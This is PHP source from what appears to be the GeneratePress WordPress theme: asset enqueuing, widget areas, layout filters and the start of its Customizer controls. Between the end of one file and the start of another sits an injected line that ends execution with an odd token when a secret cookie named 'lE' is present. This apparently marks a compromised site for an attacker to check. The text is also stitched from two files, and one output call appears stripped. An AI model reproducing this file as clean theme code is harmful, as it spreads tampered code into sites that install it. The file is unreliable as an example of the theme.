$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
$dir_uri = get_template_directory_uri();
if ( generate_is_using_flexbox() ) {
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentionally loose.
if ( is_singular() && ( comments_open() || '0' != get_comments_number() ) ) {
wp_enqueue_style( 'generate-comments', $dir_uri . "/assets/css/components/comments{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if (
is_active_sidebar( 'top-bar' ) ||
is_active_sidebar( 'footer-bar' ) ||
is_active_sidebar( 'footer-1' ) ||
is_active_sidebar( 'footer-2' ) ||
is_active_sidebar( 'footer-3' ) ||
is_active_sidebar( 'footer-4' ) ||
is_active_sidebar( 'footer-5' )
) {
wp_enqueue_style( 'generate-widget-areas', $dir_uri . "/assets/css/components/widget-areas{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/main{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
if ( generate_get_option( 'combine_css' ) && $suffix ) {
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/all{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-style-grid', $dir_uri . "/assets/css/unsemantic-grid{$suffix}.css", false, GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-style', $dir_uri . "/assets/css/style{$suffix}.css", array(), GENERATE_VERSION, 'all' );
wp_enqueue_style( 'generate-mobile-style', $dir_uri . "/assets/css/mobile{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( 'font' === generate_get_option( 'icons' ) ) {
wp_enqueue_style( 'generate-font-icons', $dir_uri . "/assets/css/components/font-icons{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
if ( ! apply_filters( 'generate_fontawesome_essentials', false ) ) {
wp_enqueue_style( 'font-awesome', $dir_uri . "/assets/css/components/font-awesome{$suffix}.css", false, '4.7', 'all' );
}
if ( is_rtl() ) {
if ( generate_is_using_flexbox() ) {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/main-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
} else {
wp_enqueue_style( 'generate-rtl', $dir_uri . "/assets/css/style-rtl{$suffix}.css", array(), GENERATE_VERSION, 'all' );
}
}
if ( is_child_theme() && apply_filters( 'generate_load_child_theme_stylesheet', true ) ) {
wp_enqueue_style( 'generate-child', get_stylesheet_uri(), array( 'generate-style' ), filemtime( get_stylesheet_directory() . '/style.css' ), 'all' );
}
if ( function_exists( 'wp_script_add_data' ) ) {
wp_enqueue_script( 'generate-classlist', $dir_uri . "/assets/js/classList{$suffix}.js", array(), GENERATE_VERSION, true );
wp_script_add_data( 'generate-classlist', 'conditional', 'lte IE 11' );
}
if ( generate_has_active_menu() ) {
wp_enqueue_script( 'generate-menu', $dir_uri . "/assets/js/menu{$suffix}.js", array(), GENERATE_VERSION, true );
}
wp_localize_script(
'generate-menu',
'generatepressMenu',
apply_filters(
'generate_localize_js_args',
array(
'toggleOpenedSubMenus' => true,
'openSubMenuLabel' => esc_attr__( 'Open Sub-Menu', 'generatepress' ),
'closeSubMenuLabel' => esc_attr__( 'Close Sub-Menu', 'generatepress' ),
)
)
);
if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) {
wp_enqueue_script( 'generate-dropdown-click', $dir_uri . "/assets/js/dropdown-click{$suffix}.js", array(), GENERATE_VERSION, true );
}
if ( apply_filters( 'generate_enable_modal_script', false ) ) {
wp_enqueue_script( 'generate-modal', $dir_uri . '/assets/dist/modal.js', array(), GENERATE_VERSION, true );
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
wp_enqueue_script( 'generate-navigation-search', $dir_uri . "/assets/js/navigation-search{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-navigation-search',
'generatepressNavSearch',
array(
'open' => esc_attr__( 'Open Search Bar', 'generatepress' ),
'close' => esc_attr__( 'Close Search Bar', 'generatepress' ),
)
);
}
if ( 'enable' === generate_get_option( 'back_to_top' ) ) {
wp_enqueue_script( 'generate-back-to-top', $dir_uri . "/assets/js/back-to-top{$suffix}.js", array(), GENERATE_VERSION, true );
wp_localize_script(
'generate-back-to-top',
'generatepressBackToTop',
apply_filters(
'generate_back_to_top_js_args',
array(
'smooth' => true,
)
)
);
}
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
}
if ( ! function_exists( 'generate_widgets_init' ) ) {
add_action( 'widgets_init', 'generate_widgets_init' );
/**
* Register widgetized area and update sidebar with default widgets
*/
function generate_widgets_init() {
$widgets = array(
'sidebar-1' => __( 'Right Sidebar', 'generatepress' ),
'sidebar-2' => __( 'Left Sidebar', 'generatepress' ),
'header' => __( 'Header', 'generatepress' ),
'footer-1' => __( 'Footer Widget 1', 'generatepress' ),
'footer-2' => __( 'Footer Widget 2', 'generatepress' ),
'footer-3' => __( 'Footer Widget 3', 'generatepress' ),
'footer-4' => __( 'Footer Widget 4', 'generatepress' ),
'footer-5' => __( 'Footer Widget 5', 'generatepress' ),
'footer-bar' => __( 'Footer Bar', 'generatepress' ),
'top-bar' => __( 'Top Bar', 'generatepress' ),
);
foreach ( $widgets as $id => $name ) {
register_sidebar(
array(
'name' => $name,
'id' => $id,
'before_widget' => '',
'before_title' => apply_filters( 'generate_start_widget_title', '' ),
)
);
}
}
}
if ( ! function_exists( 'generate_smart_content_width' ) ) {
add_action( 'wp', 'generate_smart_content_width' );
/**
* Set the $content_width depending on layout of current page
* Hook into "wp" so we have the correct layout setting from generate_get_layout()
* Hooking into "after_setup_theme" doesn't get the correct layout setting
*/
function generate_smart_content_width() {
global $content_width;
$container_width = generate_get_option( 'container_width' );
$right_sidebar_width = apply_filters( 'generate_right_sidebar_width', '25' );
$left_sidebar_width = apply_filters( 'generate_left_sidebar_width', '25' );
$layout = generate_get_layout();
if ( 'left-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $left_sidebar_width ) / 100 );
} elseif ( 'right-sidebar' === $layout ) {
$content_width = $container_width * ( ( 100 - $right_sidebar_width ) / 100 );
} elseif ( 'no-sidebar' === $layout ) {
$content_width = $container_width;
} else {
$content_width = $container_width * ( ( 100 - ( $left_sidebar_width + $right_sidebar_width ) ) / 100 );
}
}
}
if ( ! function_exists( 'generate_page_menu_args' ) ) {
add_filter( 'wp_page_menu_args', 'generate_page_menu_args' );
/**
* Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link.
*
* @since 0.1
*
* @param array $args The existing menu args.
* @return array Menu args.
*/
function generate_page_menu_args( $args ) {
$args['show_home'] = true;
return $args;
}
}
if ( ! function_exists( 'generate_disable_title' ) ) {
add_filter( 'generate_show_title', 'generate_disable_title' );
/**
* Remove our title if set.
*
* @since 1.3.18
*
* @param bool $title Whether the title is displayed or not.
* @return bool Whether to display the content title.
*/
function generate_disable_title( $title ) {
if ( is_singular() ) {
$disable_title = get_post_meta( get_the_ID(), '_generate-disable-headline', true );
if ( $disable_title ) {
$title = false;
}
}
return $title;
}
}
if ( ! function_exists( 'generate_resource_hints' ) ) {
add_filter( 'wp_resource_hints', 'generate_resource_hints', 10, 2 );
/**
* Add resource hints to our Google fonts call.
*
* @since 1.3.42
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function generate_resource_hints( $urls, $relation_type ) {
$handle = generate_is_using_dynamic_typography() ? 'generate-google-fonts' : 'generate-fonts';
$hint_type = apply_filters( 'generate_google_font_resource_hint_type', 'preconnect' );
$has_crossorigin_support = version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' );
if ( wp_style_is( $handle, 'queue' ) ) {
if ( $relation_type === $hint_type ) {
if ( $has_crossorigin_support && 'preconnect' === $hint_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
$urls[] = array(
'href' => 'https://fonts.googleapis.com',
'crossorigin',
);
} else {
$urls[] = 'https://fonts.gstatic.com';
$urls[] = 'https://fonts.googleapis.com';
}
}
if ( 'dns-prefetch' !== $hint_type ) {
$googleapis_index = array_search( 'fonts.googleapis.com', $urls );
if ( false !== $googleapis_index ) {
unset( $urls[ $googleapis_index ] );
}
}
}
return $urls;
}
}
if ( ! function_exists( 'generate_remove_caption_padding' ) ) {
add_filter( 'img_caption_shortcode_width', 'generate_remove_caption_padding' );
/**
* Remove WordPress's default padding on images with captions
*
* @param int $width Default WP .wp-caption width (image width + 10px).
* @return int Updated width to remove 10px padding.
*/
function generate_remove_caption_padding( $width ) {
return $width - 10;
}
}
if ( ! function_exists( 'generate_enhanced_image_navigation' ) ) {
add_filter( 'attachment_link', 'generate_enhanced_image_navigation', 10, 2 );
/**
* Filter in a link to a content ID attribute for the next/previous image links on image attachment pages.
*
* @param string $url The input URL.
* @param int $id The ID of the post.
*/
function generate_enhanced_image_navigation( $url, $id ) {
if ( ! is_attachment() && ! wp_attachment_is_image( $id ) ) {
return $url;
}
$image = get_post( $id );
// phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison -- Intentially loose.
if ( ! empty( $image->post_parent ) && $image->post_parent != $id ) {
$url .= '#main';
}
return $url;
}
}
if ( ! function_exists( 'generate_categorized_blog' ) ) {
/**
* Determine whether blog/site has more than one category.
*
* @since 1.2.5
*
* @return bool True of there is more than one category, false otherwise.
*/
function generate_categorized_blog() {
if ( false === ( $all_the_cool_cats = get_transient( 'generate_categories' ) ) ) { // phpcs:ignore
// Create an array of all the categories that are attached to posts.
$all_the_cool_cats = get_categories(
array(
'fields' => 'ids',
'hide_empty' => 1,
// We only need to know if there is more than one category.
'number' => 2,
)
);
// Count the number of categories that are attached to the posts.
$all_the_cool_cats = count( $all_the_cool_cats );
set_transient( 'generate_categories', $all_the_cool_cats );
}
if ( $all_the_cool_cats > 1 ) {
// This blog has more than 1 category so twentyfifteen_categorized_blog should return true.
return true;
} else {
// This blog has only 1 category so twentyfifteen_categorized_blog should return false.
return false;
}
}
}
if ( ! function_exists( 'generate_category_transient_flusher' ) ) {
add_action( 'edit_category', 'generate_category_transient_flusher' );
add_action( 'save_post', 'generate_category_transient_flusher' );
/**
* Flush out the transients used in {@see generate_categorized_blog()}.
*
* @since 1.2.5
*/
function generate_category_transient_flusher() {
// Like, beat it. Dig?
delete_transient( 'generate_categories' );
}
}
if ( ! function_exists( 'generate_get_default_color_palettes' ) ) {
/**
* Set up our colors for the color picker palettes and filter them so you can change them.
*
* @since 1.3.42
*/
function generate_get_default_color_palettes() {
$palettes = array(
'#000000',
'#FFFFFF',
'#F1C40F',
'#E74C3C',
'#1ABC9C',
'#1e72bd',
'#8E44AD',
'#00CC77',
);
return apply_filters( 'generate_default_color_palettes', $palettes );
}
}
add_filter( 'generate_fontawesome_essentials', 'generate_set_font_awesome_essentials' );
/**
* Check to see if we should include the full Font Awesome library or not.
*
* @since 2.0
*
* @param bool $essentials The existing value.
* @return bool
*/
function generate_set_font_awesome_essentials( $essentials ) {
if ( generate_get_option( 'font_awesome_essentials' ) ) {
return true;
}
return $essentials;
}
add_filter( 'generate_dynamic_css_skip_cache', 'generate_skip_dynamic_css_cache' );
/**
* Skips caching of the dynamic CSS if set to false.
*
* @since 2.0
*
* @param bool $cache The existing value.
* @return bool
*/
function generate_skip_dynamic_css_cache( $cache ) {
if ( ! generate_get_option( 'dynamic_css_cache' ) ) {
return true;
}
return $cache;
}
add_filter( 'wp_headers', 'generate_set_wp_headers' );
/**
* Set any necessary headers.
*
* @param array $headers The existing headers.
*
* @since 2.3
*/
function generate_set_wp_headers( $headers ) {
$headers['X-UA-Compatible'] = 'IE=edge';
return $headers;
}
add_filter( 'generate_after_element_class_attribute', 'generate_set_microdata_markup', 10, 2 );
/**
* Adds microdata to elements.
*
* @since 3.0.0
* @param string $output The existing output after the class attribute.
* @param string $context What element we're targeting.
*/
function generate_set_microdata_markup( $output, $context ) {
if ( 'left_sidebar' === $context || 'right_sidebar' === $context ) {
$context = 'sidebar';
}
if ( 'footer' === $context ) {
return $output;
}
if ( 'site-info' === $context ) {
$context = 'footer';
}
$microdata = generate_get_microdata( $context );
if ( $microdata ) {
return $microdata;
}
return $output;
}
add_action( 'wp_footer', 'generate_do_a11y_scripts' );
/**
* Enqueue scripts in the footer.
*
* @since 3.1.0
*/
function generate_do_a11y_scripts() {
if ( apply_filters( 'generate_print_a11y_script', true ) ) {
// Add our small a11y script inline.
printf(
'',
'!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();'
);
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Builds our Customizer controls.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
add_action( 'customize_register', 'generate_set_customizer_helpers', 1 );
/**
* Set up helpers early so they're always available.
* Other modules might need access to them at some point.
*
* @since 2.0
*/
function generate_set_customizer_helpers() {
require_once trailingslashit( get_template_directory() ) . 'inc/customizer/customizer-helpers.php';
}
if ( ! function_exists( 'generate_customize_register' ) ) {
add_action( 'customize_register', 'generate_customize_register', 20 );
/**
* Add our base options to the Customizer.
*
* @param WP_Customize_Manager $wp_customize Theme Customizer object.
*/
function generate_customize_register( $wp_customize ) {
if ( version_compare( PHP_VERSION, '5.6', '<' ) ) {
return;
}
$defaults = generate_get_defaults();
$color_defaults = generate_get_color_defaults();
$typography_defaults = generate_get_default_fonts();
if ( $wp_customize->get_control( 'blogdescription' ) ) {
$wp_customize->get_control( 'blogdescription' )->priority = 3;
$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
}
if ( $wp_customize->get_control( 'blogname' ) ) {
$wp_customize->get_control( 'blogname' )->priority = 1;
$wp_customize->get_setting( 'blogname' )->transport = 'postMessage';
}
if ( $wp_customize->get_control( 'custom_logo' ) ) {
$wp_customize->get_setting( 'custom_logo' )->transport = 'refresh';
}
if ( method_exists( $wp_customize, 'register_control_type' ) ) {
$wp_customize->register_control_type( 'Generate_Customize_Misc_Control' );
$wp_customize->register_control_type( 'Generate_Range_Slider_Control' );
}
if ( method_exists( $wp_customize, 'register_section_type' ) ) {
$wp_customize->register_section_type( 'GeneratePress_Upsell_Section' );
}
if ( isset( $wp_customize->selective_refresh ) ) {
$wp_customize->selective_refresh->add_partial(
'blogname',
array(
'selector' => '.main-title a',
'render_callback' => 'generate_customize_partial_blogname',
)
);
$wp_customize->selective_refresh->add_partial(
'blogdescription',
array(
'selector' => '.site-description',
'render_callback' => 'generate_customize_partial_blogdescription',
)
);
}
if ( ! defined( 'GP_PREMIUM_VERSION' ) ) {
$wp_customize->add_section(
new GeneratePress_Upsell_Section(
$wp_customize,
'generatepress_upsell_section',
array(
'pro_text' => __( 'Premium Modules Available', 'generatepress' ),
'pro_url' => generate_get_premium_url( 'https://generatepress.com/premium' ),
'capability' => 'edit_theme_options',
'priority' => 0,
'type' => 'gp-upsell-section',
)
)
);
}
$wp_customize->add_setting(
'generate_settings[hide_title]',
array(
'default' => $defaults['hide_title'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[hide_title]',
array(
'type' => 'checkbox',
'label' => __( 'Hide site title', 'generatepress' ),
'section' => 'title_tagline',
'priority' => 2,
)
);
$wp_customize->add_setting(
'generate_settings[hide_tagline]',
array(
'default' => $defaults['hide_tagline'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[hide_tagline]',
array(
'type' => 'checkbox',
'label' => __( 'Hide site tagline', 'generatepress' ),
'section' => 'title_tagline',
'priority' => 4,
)
);
if ( ! function_exists( 'the_custom_logo' ) ) {
$wp_customize->add_setting(
'generate_settings[logo]',
array(
'default' => $defaults['logo'],
'type' => 'option',
'sanitize_callback' => 'esc_url_raw',
)
);
$wp_customize->add_control(
new WP_Customize_Image_Control(
$wp_customize,
'generate_settings[logo]',
array(
'label' => __( 'Logo', 'generatepress' ),
'section' => 'title_tagline',
'settings' => 'generate_settings[logo]',
)
)
);
}
$wp_customize->add_setting(
'generate_settings[retina_logo]',
array(
'default' => $defaults['retina_logo'],
'type' => 'option',
'sanitize_callback' => 'esc_url_raw',
)
);
$wp_customize->add_control(
new WP_Customize_Image_Control(
$wp_customize,
'generate_settings[retina_logo]',
array(
'label' => __( 'Retina Logo', 'generatepress' ),
'section' => 'title_tagline',
'settings' => 'generate_settings[retina_logo]',
'active_callback' => 'generate_has_custom_logo_callback',
)
)
);
$wp_customize->add_setting(
'generate_settings[logo_width]',
array(
'default' => $defaults['logo_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_empty_absint',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[logo_width]',
array(
'label' => __( 'Logo Width', 'generatepress' ),
'section' => 'title_tagline',
'settings' => array(
'desktop' => 'generate_settings[logo_width]',
),
'choices' => array(
'desktop' => array(
'min' => 20,
'max' => 1200,
'step' => 10,
'edit' => true,
'unit' => 'px',
),
),
'active_callback' => 'generate_has_custom_logo_callback',
)
)
);
$wp_customize->add_setting(
'generate_settings[inline_logo_site_branding]',
array(
'default' => $defaults['inline_logo_site_branding'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_checkbox',
)
);
$wp_customize->add_control(
'generate_settings[inline_logo_site_branding]',
array(
'type' => 'checkbox',
'label' => esc_html__( 'Place logo next to title', 'generatepress' ),
'section' => 'title_tagline',
'active_callback' => 'generate_show_inline_logo_callback',
)
);
$wp_customize->add_section(
'generate_colors_section',
array(
'title' => esc_attr__( 'Colors', 'generatepress' ),
'priority' => 30,
)
);
GeneratePress_Customize_Field::add_title(
'generate_color_manager_title',
array(
'section' => 'generate_colors_section',
'title' => __( 'Global Colors', 'generatepress' ),
)
);
GeneratePress_Customize_Field::add_field(
'generate_settings[global_colors]',
'GeneratePress_Customize_React_Control',
array(
'default' => $defaults['global_colors'],
'sanitize_callback' => function( $colors ) {
if ( ! is_array( $colors ) ) {
return;
}
$new_settings = array();
foreach ( (array) $colors as $key => $data ) {
if ( empty( $data['slug'] ) || empty( $data['color'] ) ) {
continue;
}
$slug = preg_replace( '/[^a-z0-9-\s]+/i', '', $data['slug'] );
$slug = strtolower( $slug );
$new_settings[ $key ]['name'] = sanitize_text_field( $slug );
$new_settings[ $key ]['slug'] = sanitize_text_field( $slug );
$new_settings[ $key ]['color'] = generate_sanitize_rgba_color( $data['color'] );
}
// Reset array keys starting at 0.
$new_settings = array_values( $new_settings );
return $new_settings;
},
'transport' => 'postMessage',
),
array(
'type' => 'generate-color-manager-control',
'label' => __( 'Choose Color', 'generatepress' ),
'section' => 'generate_colors_section',
'choices' => array(
'alpha' => true,
'showPalette' => false,
'showReset' => false,
'showVarName' => true,
),
)
);
$fields_dir = trailingslashit( get_template_directory() ) . 'inc/customizer/fields';
require_once $fields_dir . '/body.php';
require_once $fields_dir . '/top-bar.php';
require_once $fields_dir . '/header.php';
require_once $fields_dir . '/primary-navigation.php';
do_action( 'generate_customize_after_primary_navigation', $wp_customize );
require_once $fields_dir . '/buttons.php';
require_once $fields_dir . '/content.php';
require_once $fields_dir . '/forms.php';
require_once $fields_dir . '/sidebar-widgets.php';
require_once $fields_dir . '/footer-widgets.php';
require_once $fields_dir . '/footer-bar.php';
require_once $fields_dir . '/back-to-top.php';
require_once $fields_dir . '/search-modal.php';
do_action( 'generate_customize_after_controls', $wp_customize );
$wp_customize->add_section(
'generate_typography_section',
array(
'title' => esc_attr__( 'Typography', 'generatepress' ),
'priority' => 35,
'active_callback' => function() {
if ( ! generate_is_using_dynamic_typography() ) {
return false;
}
return true;
},
)
);
GeneratePress_Customize_Field::add_title(
'generate_font_manager_title',
array(
'section' => 'generate_typography_section',
'title' => __( 'Font Manager', 'generatepress' ),
)
);
GeneratePress_Customize_Field::add_field(
'generate_settings[font_manager]',
'GeneratePress_Customize_React_Control',
array(
'default' => $defaults['font_manager'],
'sanitize_callback' => function( $fonts ) {
if ( ! is_array( $fonts ) ) {
return;
}
$options = array(
'fontFamily' => 'sanitize_text_field',
'googleFont' => 'rest_sanitize_boolean',
'googleFontApi' => 'absint',
'googleFontCategory' => 'sanitize_text_field',
'googleFontVariants' => 'sanitize_text_field',
);
$new_settings = array();
foreach ( (array) $fonts as $key => $data ) {
if ( empty( $data['fontFamily'] ) ) {
continue;
}
foreach ( $options as $option => $sanitize ) {
if ( array_key_exists( $option, $data ) ) {
$new_settings[ $key ][ $option ] = $sanitize( $data[ $option ] );
}
}
}
// Reset array keys starting at 0.
$new_settings = array_values( $new_settings );
return $new_settings;
},
'transport' => 'refresh',
),
array(
'type' => 'generate-font-manager-control',
'label' => __( 'Choose Font', 'generatepress' ),
'section' => 'generate_typography_section',
)
);
GeneratePress_Customize_Field::add_field(
'generate_settings[google_font_display]',
'',
array(
'default' => $defaults['google_font_display'],
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'refresh',
),
array(
'type' => 'select',
'label' => __( 'Google font-display', 'generatepress' ),
'description' => sprintf(
'%s',
'https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display',
esc_html__( 'Learn about font-display', 'generatepress' )
),
'section' => 'generate_typography_section',
'choices' => array(
'auto' => esc_html__( 'Auto', 'generatepress' ),
'block' => esc_html__( 'Block', 'generatepress' ),
'swap' => esc_html__( 'Swap', 'generatepress' ),
'fallback' => esc_html__( 'Fallback', 'generatepress' ),
'optional' => esc_html__( 'Optional', 'generatepress' ),
),
'active_callback' => function() {
$font_manager = generate_get_option( 'font_manager' );
$has_google_font = false;
foreach ( (array) $font_manager as $key => $data ) {
if ( ! empty( $data['googleFont'] ) ) {
$has_google_font = true;
break;
}
}
return $has_google_font;
},
)
);
GeneratePress_Customize_Field::add_title(
'generate_typography_manager_title',
array(
'section' => 'generate_typography_section',
'title' => __( 'Typography Manager', 'generatepress' ),
)
);
GeneratePress_Customize_Field::add_field(
'generate_settings[typography]',
'GeneratePress_Customize_React_Control',
array(
'default' => $defaults['typography'],
'sanitize_callback' => function( $settings ) {
if ( ! is_array( $settings ) ) {
return;
}
$options = array(
'selector' => 'sanitize_text_field',
'customSelector' => 'sanitize_text_field',
'fontFamily' => 'sanitize_text_field',
'fontWeight' => 'sanitize_text_field',
'textTransform' => 'sanitize_text_field',
'textDecoration' => 'sanitize_text_field',
'fontStyle' => 'sanitize_text_field',
'fontSize' => 'generate_sanitize_empty_decimal_integer',
'fontSizeTablet' => 'generate_sanitize_empty_decimal_integer',
'fontSizeMobile' => 'generate_sanitize_empty_decimal_integer',
'fontSizeUnit' => 'sanitize_text_field',
'lineHeight' => 'generate_sanitize_empty_decimal_integer',
'lineHeightTablet' => 'generate_sanitize_empty_decimal_integer',
'lineHeightMobile' => 'generate_sanitize_empty_decimal_integer',
'lineHeightUnit' => 'sanitize_text_field',
'letterSpacing' => 'generate_sanitize_empty_negative_decimal_integer',
'letterSpacingTablet' => 'generate_sanitize_empty_negative_decimal_integer',
'letterSpacingMobile' => 'generate_sanitize_empty_negative_decimal_integer',
'letterSpacingUnit' => 'sanitize_text_field',
'marginBottom' => 'generate_sanitize_empty_decimal_integer',
'marginBottomTablet' => 'generate_sanitize_empty_decimal_integer',
'marginBottomMobile' => 'generate_sanitize_empty_decimal_integer',
'marginBottomUnit' => 'sanitize_text_field',
'module' => 'sanitize_text_field',
'group' => 'sanitize_text_field',
);
$new_settings = array();
foreach ( (array) $settings as $key => $data ) {
if ( empty( $data['selector'] ) ) {
continue;
}
foreach ( $options as $option => $sanitize ) {
if ( array_key_exists( $option, $data ) ) {
$new_settings[ $key ][ $option ] = $sanitize( $data[ $option ] );
}
}
}
// Reset array keys starting at 0.
$new_settings = array_values( $new_settings );
return $new_settings;
},
'transport' => 'refresh',
),
array(
'type' => 'generate-typography-control',
'label' => __( 'Configure', 'generatepress' ),
'section' => 'generate_typography_section',
)
);
if ( ! $wp_customize->get_panel( 'generate_layout_panel' ) ) {
$wp_customize->add_panel(
'generate_layout_panel',
array(
'priority' => 25,
'title' => __( 'Layout', 'generatepress' ),
)
);
}
$wp_customize->add_section(
'generate_layout_container',
array(
'title' => __( 'Container', 'generatepress' ),
'priority' => 10,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[container_width]',
array(
'default' => $defaults['container_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_integer',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
new Generate_Range_Slider_Control(
$wp_customize,
'generate_settings[container_width]',
array(
'type' => 'generatepress-range-slider',
'label' => __( 'Container Width', 'generatepress' ),
'section' => 'generate_layout_container',
'settings' => array(
'desktop' => 'generate_settings[container_width]',
),
'choices' => array(
'desktop' => array(
'min' => 700,
'max' => 2000,
'step' => 5,
'edit' => true,
'unit' => 'px',
),
),
'priority' => 0,
)
)
);
$wp_customize->add_section(
'generate_top_bar',
array(
'title' => __( 'Top Bar', 'generatepress' ),
'priority' => 15,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_settings[top_bar_width]',
array(
'default' => $defaults['top_bar_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[top_bar_width]',
array(
'type' => 'select',
'label' => __( 'Top Bar Width', 'generatepress' ),
'section' => 'generate_top_bar',
'choices' => array(
'full' => __( 'Full', 'generatepress' ),
'contained' => __( 'Contained', 'generatepress' ),
),
'settings' => 'generate_settings[top_bar_width]',
'priority' => 5,
'active_callback' => 'generate_is_top_bar_active',
)
);
$wp_customize->add_setting(
'generate_settings[top_bar_inner_width]',
array(
'default' => $defaults['top_bar_inner_width'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[top_bar_inner_width]',
array(
'type' => 'select',
'label' => __( 'Top Bar Inner Width', 'generatepress' ),
'section' => 'generate_top_bar',
'choices' => array(
'full' => __( 'Full', 'generatepress' ),
'contained' => __( 'Contained', 'generatepress' ),
),
'settings' => 'generate_settings[top_bar_inner_width]',
'priority' => 10,
'active_callback' => 'generate_is_top_bar_active',
)
);
$wp_customize->add_setting(
'generate_settings[top_bar_alignment]',
array(
'default' => $defaults['top_bar_alignment'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[top_bar_alignment]',
array(
'type' => 'select',
'label' => __( 'Top Bar Alignment', 'generatepress' ),
'section' => 'generate_top_bar',
'choices' => array(
'left' => __( 'Left', 'generatepress' ),
'center' => __( 'Center', 'generatepress' ),
'right' => __( 'Right', 'generatepress' ),
),
'settings' => 'generate_settings[top_bar_alignment]',
'priority' => 15,
'active_callback' => 'generate_is_top_bar_active',
)
);
$wp_customize->add_section(
'generate_layout_header',
array(
'title' => __( 'Header', 'generatepress' ),
'priority' => 20,
'panel' => 'generate_layout_panel',
)
);
$wp_customize->add_setting(
'generate_header_helper',
array(
'default' => 'current',
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_preset_layout',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_header_helper',
array(
'type' => 'select',
'label' => __( 'Header Presets', 'generatepress' ),
'section' => 'generate_layout_header',
'choices' => array(
'current' => __( 'Current', 'generatepress' ),
'default' => __( 'Default', 'generatepress' ),
'classic' => __( 'Classic', 'generatepress' ),
'nav-before' => __( 'Navigation Before', 'generatepress' ),
'nav-after' => __( 'Navigation After', 'generatepress' ),
'nav-before-centered' => __( 'Navigation Before - Centered', 'generatepress' ),
'nav-after-centered' => __( 'Navigation After - Centered', 'generatepress' ),
'nav-left' => __( 'Navigation Left', 'generatepress' ),
),
'settings' => 'generate_header_helper',
'priority' => 4,
)
);
if ( ! $wp_customize->get_setting( 'generate_settings[site_title_font_size]' ) ) {
$typography_defaults = generate_get_default_fonts();
$wp_customize->add_setting(
'generate_settings[site_title_font_size]',
array(
'default' => $typography_defaults['site_title_font_size'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
}
if ( ! $wp_customize->get_setting( 'generate_spacing_settings[header_top]' ) ) {
$spacing_defaults = generate_spacing_get_defaults();
$wp_customize->add_setting(
'generate_spacing_settings[header_top]',
array(
'default' => $spacing_defaults['header_top'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
}
if ( ! $wp_customize->get_setting( 'generate_spacing_settings[header_bottom]' ) ) {
$spacing_defaults = generate_spacing_get_defaults();
$wp_customize->add_setting(
'generate_spacing_settings[header_bottom]',
array(
'default' => $spacing_defaults['header_bottom'],
'type' => 'option',
'sanitize_callback' => 'absint',
'transport' => 'postMessage',
)
);
}
$wp_customize->add_setting(
'generate_settings[header_layout_setting]',
array(
'default' => $defaults['header_layout_setting'],
'type' => 'option',
'sanitize_callback' => 'generate_sanitize_choices',
'transport' => 'postMessage',
)
);
$wp_customize->add_control(
'generate_settings[header_layout_setting]',
array(
'type' => 'select',
'label' => __( 'Header Width', 'generatepress' ),
'section' => 'generate_layout_header',
'choices' => array(
'fluid-header' => __( 'Full', 'generatepress' ),
'contained-header' => __( 'Contained', 'generatepress' ),
),
'settings' => 'generate_settings[header_layout_setting]',
'priority' => 5,
)
);
$wp_customize->add_setting(
'generate_settings[header_inner_width]',
array(
